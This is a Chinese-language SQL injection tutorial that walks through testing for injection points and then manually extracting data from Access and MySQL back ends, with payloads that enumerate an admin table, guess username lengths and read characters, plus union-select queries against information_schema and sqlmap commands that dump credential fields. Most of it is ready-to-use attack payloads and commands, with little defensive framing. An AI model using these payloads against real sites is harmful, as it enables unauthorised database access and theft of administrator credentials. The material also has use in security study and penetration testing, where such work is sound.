开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看、插入、删除数据库的数据,甚至可以执行主机系统命令。
1.可能出现asp?id=x的网站
只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。
2.漏洞测试
(1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;
(2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。
3.Acess数据库注入(手动)
(1)使用‘and’语句来判断是否存在注入;
(2)判断数据库类型;
and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。
(3)查看数据库名;
and db_name()>0
(4)查看版本信息;
and 0<>(select @@version)
(5)查看数据库中是否存在admin这个管理表;
and exists(select * from [admin])
and (select count(*) from admin)>0
(6)查看admin这个表中是否有username这个管理列;
and exists(select top 1 [username] from [admin])
and (select username from admin)>0
(7)猜测admin这个管理列中用户名的长度;
and (select top 1 len(username) from admin)>0
后面的长度随意猜测,选择最大返回正常值加1作为长度。
(8)取出username的ASCII码值;
and (select top 1 asc(mid(username,N,1)) from admin)>0
mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。
4.MySQL数据库注入(手动)
(1)判断注入点,后面加#,返回正常则为MySQL数据库;
(2)判断字段数;
orderb by 1--
数字可以不断的加,当返回值改变时,则为全部字段数 1;得到字段数来判断能回显数据的位置
(3)联合查询,判断可回显数据的位置;
union select 1,2,3...(上一个得到的字段数)--
要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。
(4)查看用户,版本,库名
user(),version(),database()
(5)查看管理表(常见的管理表命名方式:system、login、admin、users)
union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--
(6)查看列
union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--
5.sqlmap
(1)需要在python环境下运行;
(2)测试是否为注入点;
sqlmap.py -u "URL"
(3)获取数据列表;
sqlmap.py -u "URL" --dbs
(4)当前数据库;
sqlmap.py -u "URL" --current-db
(5)获取数据库所有表信息;
sqlmap.py -u "URL" --tables -D "目标数据库"
(6)获取列;
sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”
(7)获取字段;
sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”